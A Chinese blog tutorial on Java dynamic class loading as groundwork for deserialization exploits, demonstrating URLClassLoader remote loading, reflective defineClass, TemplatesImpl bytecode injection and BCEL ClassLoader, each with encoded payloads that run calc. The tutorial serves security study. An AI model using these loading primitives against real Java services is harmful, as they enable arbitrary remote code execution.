Java动态类加载

Java动态类加载

前言

前面学习了反序列化,正准备趁热打铁去学cc3了,但是发现cc3需要用到动态类加载,就先来学一下。

利用URLClassLoader加载远程class文件

首先了解下什么是ClassLoader?

ClassLoader是一个"加载器",它会让Java虚拟机知道如何加载这个类。默认的ClassLoader是根据类名来加载类的,这个类名必须是类的完整路径(跟反射有点类似),例如java.lang.Runtime。具体工作流程不过于深究,本文先具体说一下URLClassLoader

我们平时默认使用的是AppClassLoader类,而URLClassLoader是这个默认类的父类,所以解释URLClassLoader的工作流程实际上就说解释默认的Java类加载器的一个工作流程。

Java会根据配置项sun.boot.class.pathjava.class.path中列举到的基础路径来寻找.class文件来加载,其中基础路径分为以下三种情况:

  • URL没有以斜杠/结尾,则会认为这个是一个Jar文件,使用JarLoader来寻找类,即在Jar包中寻找.class文件
  • URL以斜杠/结尾,且使用file协议,则会使用FileLoader来寻找类,即本地文件系统中寻找.class 文件
  • URL以斜杠/结尾,但没有使用file协议的,则会默认最基础的Loader寻找类

正常开发的时候通常遇到的是前两种,那如果需要使用Loader寻找类的时候,就需要用到非file协议,最常见的就是http协议

这里使用HTTP协议来测试一下,看看Java能否从远程HTTP服务器上加载.class文件

import java.net.URL;
import java.net.URLClassLoader;

public class Main {
    public static void main(String[] args) throws Exception {
        URL[] urls = {new URL("http://127.0.0.1/")};
        URLClassLoader loader = URLClassLoader.newInstance(urls);
        Class c = loader.loadClass("Calc");
        c.newInstance();
    }
}

编写了一个弹计算器的程序,在本地用python -m http.server启动一个http服务

import java.lang.reflect.Method;

public class Calc {
    public Calc() throws Exception {
        Class runtime = Class.forName("java.lang.Runtime");
        Method exec = runtime.getMethod("exec", String.class);
        Method getruntime = runtime.getMethod("getRuntime");
        Object r = getruntime.invoke(runtime);
        exec.invoke(r,"calc");
        System.out.println("Hacker!!!");
    }
}

需要注意的是,这里远程加载是只能通过初始化对象来执行构造函数的,希望各位师傅不要像我一样把代码丢到Main方法里😭😭😭

1646746986787.png

所以,作为攻击者,如果我们能够控制Java ClassLoader的基础路径为一个http服务器,则可以利用远程加载的方式执行任意代码了。

利用ClassLoader#defineClass直接加载字节码

上面我们使用了URLClassLoader加载远程class文件,也就是字节码。其实无论加载什么,Java都会经历下面三个方法的调用:

1646748244341.png

其中:

  • loadClass的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行findClass
  • findClass的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或是远程http服务器上读取字节码,然后交给defineClass
  • defineClass的作用是处理前传入的字节码,将其处理成为真正的Java类

由此可见,真正加载字节码的核心在于defineClass,他决定了如何将一段字节流转变成一个Java类,Java默认的defineClass是一个native方法,其逻辑在JVM的C语言代码中。

编写一个demo来演示如何让系统的defineClass来加载字节码:

package ClassLoader;

import java.lang.reflect.Method;
import java.util.Base64;

public class defineClassDemo {
    public static void main(String[] args) throws Exception{
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class, int.class, int.class);
        defineClass.setAccessible(true);

        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAQQoACQAiCAAjCgAFACQIABkHACUHACYKAAUAJwgAKAcAKQoAKgArCAAsCQAtAC4IAC8KADAAMQcAMgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQASTENsYXNzTG9hZGVyL0NhbGM7AQAHcnVudGltZQEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAEZXhlYwEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAKZ2V0cnVudGltZQEAAXIBABJMamF2YS9sYW5nL09iamVjdDsBAApFeGNlcHRpb25zBwAzAQAKU291cmNlRmlsZQEACUNhbGMuamF2YQwAEAARAQARamF2YS5sYW5nLlJ1bnRpbWUMADQANQEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9TdHJpbmcMADYANwEACmdldFJ1bnRpbWUBABBqYXZhL2xhbmcvT2JqZWN0BwA4DAA5ADoBAARjYWxjBwA7DAA8AD0BAA9IYWNrZXLvvIHvvIHvvIEHAD4MAD8AQAEAEENsYXNzTG9hZGVyL0NhbGMBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEADwAJAAAAAAABAAEAEAARAAIAEgAAALcABgAFAAAASSq3AAESArgAA0wrEgQEvQAFWQMSBlO2AAdNKxIIA70ABbYAB04tKwO9AAm2AAo6BCwZBAS9AAlZAxILU7YACleyAAwSDbYADrEAAAACABMAAAAiAAgAAAAGAAQABwAKAAgAGgAJACUACgAwAAsAQAAMAEgADQAUAAAANAAFAAAASQAVABYAAAAKAD8AFwAYAAEAGgAvABkAGgACACUAJAAbABoAAwAwABkAHAAdAAQAHgAAAAQAAQAfAAEAIAAAAAIAIQ==");
        Class calc = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(),"ClassLoader.Calc",code,0,code.length);
        calc.newInstance();
    }
}

注意一点,在defineClass被调用的时候,类对象是不会被初始话的,只有这个对象显式地调用其构造函数,初始话代码才能被执行。而且,即使将初始话代码放在类的static块中,在defineClass时也无法被直接调用。所以要想使用defineClass在目标机器上执行任意代码,需要想办法调用构造函数。

执行上述demo,会打印Hacker!!!并弹出计算器。

1646751517072.png

需要注意的是,ClassLoaderdefineClass方法是一个保护属性,所以我们只能使用反射来获取。

在实际场景中,因为defineClass方法作用域是不开放的,导致了并不能直接利用它来攻击,但是它却是一个常用攻击链TemplatesImpl的基石。

利用TemplatesImpl加载字节码

虽然defineClass方法可以加载字节码,但是大部分开发者不会选择直接使用,但是我们可以找到另外的出路,那就是TemplatesImpl用到了defineClass方法

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类中定义了内部类TransletClassLoader

static final class TransletClassLoader extends ClassLoader {
    private final Map<String,Class> _loadedExternalExtensionFunctions;

     TransletClassLoader(ClassLoader parent) {
         super(parent);
        _loadedExternalExtensionFunctions = null;
    }

    TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
        super(parent);
        _loadedExternalExtensionFunctions = mapEF;
    }

    public Class<?> loadClass(String name) throws ClassNotFoundException {
        Class<?> ret = null;
        // The _loadedExternalExtensionFunctions will be empty when the
        // SecurityManager is not set and the FSP is turned off
        if (_loadedExternalExtensionFunctions != null) {
            ret = _loadedExternalExtensionFunctions.get(name);
        }
        if (ret == null) {
            ret = super.loadClass(name);
        }
        return ret;
     }

    /**
     * Access to final protected superclass member from outer class.
     */
    Class defineClass(final byte[] b) {
        return defineClass(null, b, 0, b.length);
    }
}

这个类在最后这里,重写了defineClass方法,但是这个类没有显示地声明作用域,在Java中,如果没有声明的话,那就是默认的default属性。所以这里地defineClass方法由父类的protected属性变成了一个default类型的方法,也就可以被类外部调用了。

先写一下完整的一个调用链:

1646812272004.png

先来看最前面的两个方法。TemplatesImpl.getOutputProperties()TemplatesImpl.newTransformer()这两个方法作用域都是public,可以被外部调用,先尝试用newTransformer()构造一个简单的POC:

package ClassLoader;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;


import java.util.Base64;

import static ysoserial.payloads.util.Reflections.setFieldValue;


public class newTransformerDemo {
    public static void main(String[] args) throws Exception{
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAPwoAEAAdCAAeCgAFAB8IACAHACEHACIKAAUAIwgAJAcAJQoAJgAnCAAoCQApACoIACsKACwALQcALgcALwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAwAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAMQEAClNvdXJjZUZpbGUBABZIZWxsb1RlbXBsYXRlSW1wbC5qYXZhDAAYABkBABFqYXZhLmxhbmcuUnVudGltZQwAMgAzAQAEZXhlYwEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9TdHJpbmcMADQANQEACmdldFJ1bnRpbWUBABBqYXZhL2xhbmcvT2JqZWN0BwA2DAA3ADgBAARjYWxjBwA5DAA6ADsBABVIZWxsbyBUZW1wbGF0ZUltcGwhISEHADwMAD0APgEAHUNsYXNzTG9hZGVyL0hlbGxvVGVtcGxhdGVJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAPABAAAAAAAAMAAQARABIAAgATAAAAGQAAAAMAAAABsQAAAAEAFAAAAAYAAQAAAA4AFQAAAAQAAQAWAAEAEQAXAAIAEwAAABkAAAAEAAAAAbEAAAABABQAAAAGAAEAAAASABUAAAAEAAEAFgABABgAGQACABMAAAB9AAYABQAAAEkqtwABEgK4AANMKxIEBL0ABVkDEgZTtgAHTSsSCAO9AAW2AAdOLSsDvQAJtgAKOgQsGQQEvQAJWQMSC1O2AApXsgAMEg22AA6xAAAAAQAUAAAAIgAIAAAAFAAEABUACgAWABoAFwAlABgAMAAZAEAAGgBIABsAFQAAAAQAAQAaAAEAGwAAAAIAHA==");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj,"_bytecodes",new byte[][]{code});
        setFieldValue(obj,"_name", "HelloTemplatesImpl");
        setFieldValue(obj,"_tfactory", new TransformerFactoryImpl());

        obj.newTransformer();
    }
}

setFieldValue方法用来设置私有属性,这里是直接调用ysoserial.payloads.util.Reflections.setFieldValue。这里设置了三个属性:_bytecodes_name_tfactory_bytecodes是由字节码组成的数组,用来存放恶意字节码;_name 可以是任意字符串,只要不为空就好,_tfactory需要是一个TransformerFactoryImpl 对象,因为TemplatesImpldefineTransletClasses()方法调用了_tfactory.getExternalExtensionsMap(),如果是null则会报错。

1646815802157.png

另外需要注意的是,TemplatesImpl中加载的字节码必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类。

package ClassLoader;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.lang.reflect.Method;

public class HelloTemplateImpl extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    public HelloTemplateImpl() throws Exception {
        Class runtime = Class.forName("java.lang.Runtime");
        Method exec = runtime.getMethod("exec", String.class);
        Method getruntime = runtime.getMethod("getRuntime");
        Object r = getruntime.invoke(runtime);
        exec.invoke(r,"calc");
        System.out.println("Hello TemplateImpl!!!");
    }
}

所以构造一个特殊的类,继承AbstractTranslet,并且把恶意代码写在构造函数中,这样在加载这个字节码文件的时候,即可被TemplatesImpl执行了。

1646816207590.png

TemplatesImpl出现在多个Java反序列化利用链中,以及fastjson、jackson漏洞中。

利用BCEL ClassLoader加载字节码

BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为 被Apache Xalan所使用,而Apache Xalan又是Java内部对于JAXP的实现,所以BCEL也被包含在了JDK的 原生库中。

我们可以通过BCEL提供的两个类RepositoryUtility来利用: Repository用于将一个Java Class转换成原生字节码(javac命令也可以);Utility用于将原生的字节码转换成BCEL格式的字节码:

package ClassLoader;

import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import com.sun.org.apache.bcel.internal.Repository;


public class BCELDemo {
    public static void main(String[] args) throws Exception{
        encode();
    }

    private static void encode() throws Exception{
        JavaClass cls = Repository.lookupClass(Hacker.class);
        String code = Utility.encode(cls.getBytes(),true);
        System.out.println(code);
    }
}
1646821122074.png

而BCEL ClassLoader用于加载这串特殊的“字节码”,并可以执行其中的代码,需要在这串特殊的"字节码"前面加上$$BCEL$$ :

package ClassLoader;

import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import com.sun.org.apache.bcel.internal.Repository;


public class BCELDemo {
    public static void main(String[] args) throws Exception{
        decode();
    }
    private static void decode() throws Exception{
        new ClassLoader().loadClass("$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7dS$edR$d3$40$U$3d$db$86$sM$83$94$40$95$d6O$Q$b4$a5$d0$f8$adP$84$3a$8c$O$ce$Et$a8S$c7$e1W$9a$$$r$d0$sL$9a2$f8$d3G$d2$l$c5q$d4$H$f0e$7c$D$c7$bb$8dPl$ab$99ds$ef$dds$ef$9e$3d$7b$f7$c7$af$_$df$B$3c$c03$Vq$cc$u$b8$a9b$E$b3$K$d22$e6d$dc$S$dem$FY$Z9$V$f3$c8$xX$88c$R$F$F$86$8a$3b$b8$x$e3$kCl$c5q$9d$60$95$n$9a$cdU$Y$a4u$af$c6$Z$c6L$c7$e5$5b$edf$95$fbo$acj$83$o$ba$e9$d9V$a3b$f9$8e$f0$ff$E$a5$60$cfi1L$9a$eb$N$ab$d52$3d$ab$c6$7dc$c3$b2$P$b8_d$90$fd$b6$h8M$c2$8d$9b$fb$d6$91e4$y$b7nt$a14$x$f1cn3d$ceM$f9$7c$b7$c1$ed$c0$d8$e4$c1$9eW$p$8cZ$e7$c1Y$R$e6$L$W$3d$f4$ab$ea$3e$81$F$ea$f9$b1$cd$P$D$c7s$5b2$ee$93_$f6$da$be$cd_8$82b$o$a4S$Qy$g$92$Y$t6$c2$$$88$g$85$ed$b0$b8F$o$3e$a4$5d$f7$b1dH$f6$o$e5$c0w$dc$ba$86Gx$i$S$db$3e$r$96$ec$e7$q$e3$89$86$r$y$d3$sI3$5bFQ$c3$K$9e$d2$C$n$99$9f_$3f$84$af$8cU$Nk$u$d1$c6$G$Vd$98$e8$V$3e$db$o$c9$ba$eb$f9$5b$96Xx$$k$f6$f3$x$e6$86H$j$t$b6$a1$a6$M$a5$n9$3b$D9$b9$ff$9d$ca$d4$bf$e6$a8$9b$i$f7$c8$3b$mjK$d9$c1$93$da$Z$M$e5$86$9d$e7y$d1$df$b7$C$de$a4$e6$f4$da$BC$wD$3b$9e$f1$9ax$H$c4$9e$5b$cd$e2$a9N$7f$87I$a7C$e15H$b1$d40$9d$w$98$c6$Y$dd$h$f1Ps$89$d6$40$E$3ay$t$88$d1$cd$B$5e$ce$9f$80$e9$91$cf$88$9ay$5d$92$bea$e4$5dT$8f$95$3b$907$f3$ba$S$r$9f$cc$ad$c5$3cY$f1$O$d4ei$n$zPqB$r$I$a5$be$fd$EM$l$ed$e0$c2G$w$W$c1$E$8d3Ph$8cA$82$M$95$ec$M$R$98$83$b8$8d$J$94$a0a$D$a3$98$ec$de$e9$$$B$a4p$91$fe$w$f5$c8$rL$R$c9$M$M$a4i$8cP$d6$y$$$93$V$a5$dc4$ae$e0$w$d5$bcFX$89P$d7$e9$bb$d1$5ds$fa7$bc$bf7$9e$q$E$A$A").newInstance();
    }
}
1646821299170.png

最后

明天开始看CC3啦!😍😍😍